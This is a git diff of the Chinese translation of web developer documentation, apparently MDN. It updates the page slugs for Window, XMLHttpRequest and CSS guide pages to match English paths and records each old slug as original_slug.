    diff --git a/files/zh-cn/web/api/window/beforeprint_event/index.html b/files/zh-cn/web/api/window/beforeprint_event/index.html index fe9480238a..4846c902c9 100644 --- a/files/zh-cn/web/api/window/beforeprint_event/index.html +++ b/files/zh-cn/web/api/window/beforeprint_event/index.html @@ -1,7 +1,8 @@ --- title: beforeprint -slug: Web/Events/beforeprint +slug: Web/API/Window/beforeprint_event translation_of: Web/API/Window/beforeprint_event +original_slug: Web/Events/beforeprint ---

    当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

    diff --git a/files/zh-cn/web/api/window/beforeunload_event/index.html b/files/zh-cn/web/api/window/beforeunload_event/index.html index 9cef2f2cfc..bd200d41ce 100644 --- a/files/zh-cn/web/api/window/beforeunload_event/index.html +++ b/files/zh-cn/web/api/window/beforeunload_event/index.html @@ -1,6 +1,6 @@ --- title: 'Window: beforeunload event' -slug: Web/Events/beforeunload +slug: Web/API/Window/beforeunload_event tags: - Event - Window @@ -8,6 +8,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Window/beforeunload_event +original_slug: Web/Events/beforeunload ---

    当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

    diff --git a/files/zh-cn/web/api/window/blur/index.html b/files/zh-cn/web/api/window/blur/index.html index 0aebdbb367..fa3a0742cb 100644 --- a/files/zh-cn/web/api/window/blur/index.html +++ b/files/zh-cn/web/api/window/blur/index.html @@ -1,7 +1,8 @@ --- title: Window.blur() -slug: Web/API/Window/Window.blur() +slug: Web/API/Window/blur translation_of: Web/API/Window/blur +original_slug: Web/API/Window/Window.blur() ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/window/domcontentloaded_event/index.html b/files/zh-cn/web/api/window/domcontentloaded_event/index.html index 67c6a44253..8452eeb2e6 100644 --- a/files/zh-cn/web/api/window/domcontentloaded_event/index.html +++ b/files/zh-cn/web/api/window/domcontentloaded_event/index.html @@ -1,12 +1,13 @@ --- title: DOMContentLoaded -slug: Web/Events/DOMContentLoaded +slug: Web/API/Window/DOMContentLoaded_event tags: - DOMContentLoaded - Window.open() - load - window.onload translation_of: Web/API/Window/DOMContentLoaded_event +original_slug: Web/Events/DOMContentLoaded ---

    当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

    diff --git a/files/zh-cn/web/api/window/load_event/index.html b/files/zh-cn/web/api/window/load_event/index.html index 5cfb7b075f..7f784a47f1 100644 --- a/files/zh-cn/web/api/window/load_event/index.html +++ b/files/zh-cn/web/api/window/load_event/index.html @@ -1,9 +1,10 @@ --- title: load -slug: Web/Events/load +slug: Web/API/Window/load_event tags: - load translation_of: Web/API/Window/load_event +original_slug: Web/Events/load ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/window/pageshow_event/index.html b/files/zh-cn/web/api/window/pageshow_event/index.html index d0aec41716..482e1b567e 100644 --- a/files/zh-cn/web/api/window/pageshow_event/index.html +++ b/files/zh-cn/web/api/window/pageshow_event/index.html @@ -1,7 +1,8 @@ --- title: pageshow -slug: Web/Events/pageshow +slug: Web/API/Window/pageshow_event translation_of: Web/API/Window/pageshow_event +original_slug: Web/Events/pageshow ---

    当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

    diff --git a/files/zh-cn/web/api/window/unhandledrejection_event/index.html b/files/zh-cn/web/api/window/unhandledrejection_event/index.html index 9c3286aa44..8628a3e11f 100644 --- a/files/zh-cn/web/api/window/unhandledrejection_event/index.html +++ b/files/zh-cn/web/api/window/unhandledrejection_event/index.html @@ -1,6 +1,6 @@ --- title: unhandledrejection -slug: Web/Events/unhandledrejection +slug: Web/API/Window/unhandledrejection_event tags: - API - JavaScript @@ -9,6 +9,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Window/unhandledrejection_event +original_slug: Web/Events/unhandledrejection ---
    {{APIRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/window/unload_event/index.html b/files/zh-cn/web/api/window/unload_event/index.html index 2510b1f651..dc03afe51f 100644 --- a/files/zh-cn/web/api/window/unload_event/index.html +++ b/files/zh-cn/web/api/window/unload_event/index.html @@ -1,11 +1,12 @@ --- title: unload -slug: Web/Events/unload +slug: Web/API/Window/unload_event tags: - Window - events - unload translation_of: Web/API/Window/unload_event +original_slug: Web/Events/unload ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html index 78bed99eb9..c2ac5649b6 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html @@ -1,7 +1,8 @@ --- title: window.onbeforeunload -slug: Web/API/Window/onbeforeunload +slug: Web/API/WindowEventHandlers/onbeforeunload translation_of: Web/API/WindowEventHandlers/onbeforeunload +original_slug: Web/API/Window/onbeforeunload ---
    {{ApiRef}}
    diff --git a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html index 0c7f3ebefa..e71dcdba5e 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html @@ -1,12 +1,13 @@ --- title: window.onhashchange -slug: Web/API/Window/onhashchange +slug: Web/API/WindowEventHandlers/onhashchange tags: - HTML-DOM - Property - Reference - WindowEventHandlers translation_of: Web/API/WindowEventHandlers/onhashchange +original_slug: Web/API/Window/onhashchange ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html index 6efc1ec835..54efcf6cf4 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html @@ -1,7 +1,8 @@ --- title: window.onpopstate -slug: Web/API/Window/onpopstate +slug: Web/API/WindowEventHandlers/onpopstate translation_of: Web/API/WindowEventHandlers/onpopstate +original_slug: Web/API/Window/onpopstate ---

    {{ ApiRef() }}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html index 5e766c1d67..65b13fa59a 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html @@ -1,7 +1,8 @@ --- title: window.onunload -slug: Web/API/Window/onunload +slug: Web/API/WindowEventHandlers/onunload translation_of: Web/API/WindowEventHandlers/onunload +original_slug: Web/API/Window/onunload ---

    {{ ApiRef("HTML DOM") }}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html index 2892e403d4..7d5a66fdb5 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html @@ -1,6 +1,6 @@ --- title: WindowOrWorkerGlobalScope.atob() -slug: Web/API/WindowBase64/atob +slug: Web/API/WindowOrWorkerGlobalScope/atob tags: - API - Base64 @@ -10,6 +10,7 @@ tags: - 参考 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/atob +original_slug: Web/API/WindowBase64/atob ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html index 6b742198a5..83873fc559 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html @@ -1,6 +1,6 @@ --- title: WindowOrWorkerGlobalScope.btoa() -slug: Web/API/WindowBase64/btoa +slug: Web/API/WindowOrWorkerGlobalScope/btoa tags: - API - Base64 @@ -11,6 +11,7 @@ tags: - 数据 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +original_slug: Web/API/WindowBase64/btoa ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html index 9a2d6e1790..442e1bb81e 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -1,12 +1,13 @@ --- title: WindowTimers.clearInterval() -slug: Web/API/Window/clearInterval +slug: Web/API/WindowOrWorkerGlobalScope/clearInterval tags: - API - WindowOrWorkerGlobalScope - 参考 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +original_slug: Web/API/Window/clearInterval ---
    {{ApiRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html index 4b20c970d7..4e700ea7d0 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -1,11 +1,12 @@ --- title: WindowOrWorkerGlobalScope.clearTimeout() -slug: Web/API/WindowTimers/clearTimeout +slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout tags: - API - WindowOrWorkerGlobalScope - clearTimeout translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +original_slug: Web/API/WindowTimers/clearTimeout ---
    {{APIRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html index 385a19b81b..d5a453b133 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html @@ -1,6 +1,6 @@ --- title: window.setInterval -slug: Web/API/Window/setInterval +slug: Web/API/WindowOrWorkerGlobalScope/setInterval tags: - API - DOM @@ -8,6 +8,7 @@ tags: - 方法 - 时间 translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +original_slug: Web/API/Window/setInterval ---
    {{ ApiRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html index f9813851f7..d0c80bb95b 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html @@ -1,12 +1,13 @@ --- title: window.setTimeout -slug: Web/API/Window/setTimeout +slug: Web/API/WindowOrWorkerGlobalScope/setTimeout tags: - Timers - WindowOrWorkerGlobalScope - WindowTimers - setTimeout translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +original_slug: Web/API/Window/setTimeout ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html index 529a0b1673..60360d4c9e 100644 --- a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html @@ -1,7 +1,8 @@ --- title: loadend -slug: Web/Events/loadend +slug: Web/API/XMLHttpRequest/loadend_event translation_of: Web/API/XMLHttpRequest/loadend_event +original_slug: Web/Events/loadend ---

    loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

    diff --git a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html index 60362dd94a..3052ba08a7 100644 --- a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html @@ -1,9 +1,10 @@ --- title: loadstart -slug: Web/Events/loadstart +slug: Web/API/XMLHttpRequest/loadstart_event tags: - 事件 translation_of: Web/API/XMLHttpRequest/loadstart_event +original_slug: Web/Events/loadstart ---

    当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

    diff --git a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html index 6a63ab9d5e..1088c221ed 100644 --- a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html @@ -1,6 +1,6 @@ --- title: progress event -slug: Web/Events/进度条 +slug: Web/API/XMLHttpRequest/progress_event tags: - API - Event @@ -9,6 +9,7 @@ tags: - XMLHttpRequest - progress translation_of: Web/API/XMLHttpRequest/progress_event +original_slug: Web/Events/进度条 ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/xmlserializer/index.html b/files/zh-cn/web/api/xmlserializer/index.html index 5c0af6bf9f..8202d0c906 100644 --- a/files/zh-cn/web/api/xmlserializer/index.html +++ b/files/zh-cn/web/api/xmlserializer/index.html @@ -1,6 +1,6 @@ --- title: XMLSerializer -slug: XMLSerializer +slug: Web/API/XMLSerializer tags: - DOM Parsing - XML @@ -8,6 +8,7 @@ tags: - construct - conversion translation_of: Web/API/XMLSerializer +original_slug: XMLSerializer ---
    {{APIRef("XMLSerializer")}}
    diff --git a/files/zh-cn/web/css/_colon_blank/index.html b/files/zh-cn/web/css/_colon_blank/index.html index adcaa5c998..ee0cfeceee 100644 --- a/files/zh-cn/web/css/_colon_blank/index.html +++ b/files/zh-cn/web/css/_colon_blank/index.html @@ -1,11 +1,12 @@ --- title: ':blank' -slug: 'Web/CSS/:blank空白伪类' +slug: Web/CSS/:blank tags: - CSS - CSS 选择器 - 伪类 -translation_of: 'Web/CSS/:blank' +translation_of: Web/CSS/:blank +original_slug: Web/CSS/:blank空白伪类 ---

    {{CSSRef}}{{Draft}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/css/containing_block/index.html b/files/zh-cn/web/css/containing_block/index.html index bf35aa8c04..1c13915c54 100644 --- a/files/zh-cn/web/css/containing_block/index.html +++ b/files/zh-cn/web/css/containing_block/index.html @@ -1,6 +1,6 @@ --- title: 布局和包含块 -slug: Web/CSS/All_About_The_Containing_Block +slug: Web/CSS/Containing_block tags: - CSS - CSS Position @@ -13,6 +13,7 @@ tags: - containing block - size translation_of: Web/CSS/Containing_block +original_slug: Web/CSS/All_About_The_Containing_Block ---

    {{cssref}}

    diff --git a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html index b9f50d5332..dce36347b6 100644 --- a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html +++ b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html @@ -1,7 +1,8 @@ --- title: 圆角边框生成器 -slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 +slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +original_slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 ---

    使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

    diff --git a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html index 3fb264bc40..05235e41f1 100644 --- a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html +++ b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -1,7 +1,8 @@ --- title: Box-shadow generator -slug: Web/CSS/CSS_Box_Model/Box-shadow_generator +slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +original_slug: Web/CSS/CSS_Box_Model/Box-shadow_generator ---

    这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

    diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html index 2873b2878c..0a37fbf324 100644 --- a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html +++ b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -1,7 +1,8 @@ --- title: Scaling background images -slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +slug: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +original_slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html index fcde4cecb2..e77cea2ec5 100644 --- a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html +++ b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -1,10 +1,11 @@ --- title: Using URL values for the cursor property -slug: Web/CSS/cursor/url +slug: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property tags: - Cursor - URL translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +original_slug: Web/CSS/cursor/url ---

    Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

    diff --git a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html index 593e14fd47..b284829feb 100644 --- a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html +++ b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html @@ -1,7 +1,8 @@ --- title: 使用CSS的多列布局 -slug: Web/Guide/CSS/Using_multi-column_layouts +slug: Web/CSS/CSS_Columns/Using_multi-column_layouts translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +original_slug: Web/Guide/CSS/Using_multi-column_layouts ---

    {{CSSRef("CSS Multi-columns")}}

    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index df269a9211..0136810845 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: Flexbox的向下支持 -slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 +slug: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox tags: - '@supports' - IE @@ -11,6 +11,7 @@ tags: - 旧版本 - 浏览器 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html index c90b3416a5..6cddce9103 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -1,12 +1,14 @@ --- title: 弹性盒子与其他布局方法的联系 -slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods tags: - CSS - box alignment - flexbox translation_of: >- Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +original_slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html index 1b4c283f36..3ec35a1821 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -1,7 +1,8 @@ --- title: Flexbox典型用例 -slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +original_slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html index 2c84dc8384..4592f2a4d1 100644 --- a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html +++ b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html @@ -1,7 +1,8 @@ --- title: In Flow and Out of Flow -slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 +slug: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +original_slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_fragmentation/index.html b/files/zh-cn/web/css/css_fragmentation/index.html index 5b0d8e7a13..ca10d1a783 100644 --- a/files/zh-cn/web/css/css_fragmentation/index.html +++ b/files/zh-cn/web/css/css_fragmentation/index.html @@ -1,11 +1,12 @@ --- title: CSS分片 -slug: Web/CSS/CSS_分片 +slug: Web/CSS/CSS_Fragmentation tags: - CSS - CSS分片 - 参考 translation_of: Web/CSS/CSS_Fragmentation +original_slug: Web/CSS/CSS_分片 ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index 936634c06c..216a6fa669 100644 --- a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -1,11 +1,12 @@ --- title: CSS 网格,逻辑值和书写模式 -slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +slug: Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes tags: - CSS - CSS 指南 - 指南 -translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes +original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes ---

    在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

    diff --git a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html index 1f19e6933b..a20d8b626a 100644 --- a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html +++ b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -1,7 +1,8 @@ --- title: 利用CSS网格布局实现常用布局 -slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 +slug: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +original_slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 ---

    为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

    diff --git a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html index 4a3e2bb7c9..0b37c1b652 100644 --- a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html +++ b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -1,6 +1,6 @@ --- title: 在 CSS 中实现图像合并 -slug: Web/Guide/CSS/CSS_Image_Sprites +slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS tags: - CSS - CSS Image @@ -8,6 +8,7 @@ tags: - Guide - Web translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +original_slug: Web/Guide/CSS/CSS_Image_Sprites ---
    {{cssRef}}
    diff --git a/files/zh-cn/web/css/css_images/using_css_gradients/index.html b/files/zh-cn/web/css/css_images/using_css_gradients/index.html index 21460cd820..cef51bdcfe 100644 --- a/files/zh-cn/web/css/css_images/using_css_gradients/index.html +++ b/files/zh-cn/web/css/css_images/using_css_gradients/index.html @@ -1,7 +1,8 @@ --- title: 使用 CSS 渐变 -slug: Web/Guide/CSS/Using_CSS_gradients +slug: Web/CSS/CSS_Images/Using_CSS_gradients translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +original_slug: Web/Guide/CSS/Using_CSS_gradients ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html index 1426940c48..8f5b208489 100644 --- a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html +++ b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html @@ -1,6 +1,6 @@ --- title: 调整列表缩进 -slug: Web/Guide/CSS/Consistent_list_indentation +slug: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation tags: - CSS - Guide @@ -9,6 +9,7 @@ tags: - 列表 - 缩进 translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +original_slug: Web/Guide/CSS/Consistent_list_indentation ---

    对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

    diff --git a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html index 4a8fa17797..3ae54b4940 100644 --- a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html +++ b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html @@ -1,6 +1,6 @@ --- title: 使用CSS计数器 -slug: Web/Guide/CSS/Counters +slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters tags: - CSS - CSS List @@ -8,6 +8,7 @@ tags: - counter - 教程 translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +original_slug: Web/Guide/CSS/Counters ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html index cfce90ff34..5f040cc43b 100644 --- a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html +++ b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html @@ -1,7 +1,8 @@ --- title: 逻辑属性的和值的基本概念 -slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie +slug: Web/CSS/CSS_Logical_Properties/Basic_concepts translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts +original_slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html index b96f3f6c88..d45cae2ae9 100644 --- a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html +++ b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html @@ -1,7 +1,8 @@ --- title: 浮动和定位的逻辑属性 -slug: Web/CSS/CSS_Logical_Properties/浮动和定位 +slug: Web/CSS/CSS_Logical_Properties/Floating_and_positioning translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning +original_slug: Web/CSS/CSS_Logical_Properties/浮动和定位 ---
    {{CSSRef}}
